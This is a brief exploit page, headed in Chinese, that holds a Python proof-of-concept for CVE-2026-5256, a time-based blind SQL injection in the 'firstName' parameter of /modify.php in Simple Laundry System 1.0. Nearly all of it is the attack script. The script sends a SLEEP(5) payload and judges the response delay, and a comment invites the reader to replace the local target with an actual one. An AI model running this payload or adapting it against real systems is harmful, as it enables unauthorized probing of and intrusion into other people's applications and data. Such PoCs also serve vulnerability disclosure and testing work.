CVE-2026-5256 Simple Laundry System SQL注入漏洞

# PoC for CVE-2026-5256: SQL Injection in Simple Laundry System 1.0 # Target: /modify.php parameter 'firstName' import requests def check_sqli(url): target_endpoint = f"{url}/modify.php" # Time-based blind SQL injection payload payload = "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" data = { "firstName": payload } try: print(f"[+] Sending payload to {target_endpoint}") response = requests.post(target_endpoint, data=data, timeout=10) # Check if the response time indicates a delay (SQL execution) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}") if __name__ == "__main__": target_host = "http://127.0.0.1" # Replace with actual target check_sqli(target_host)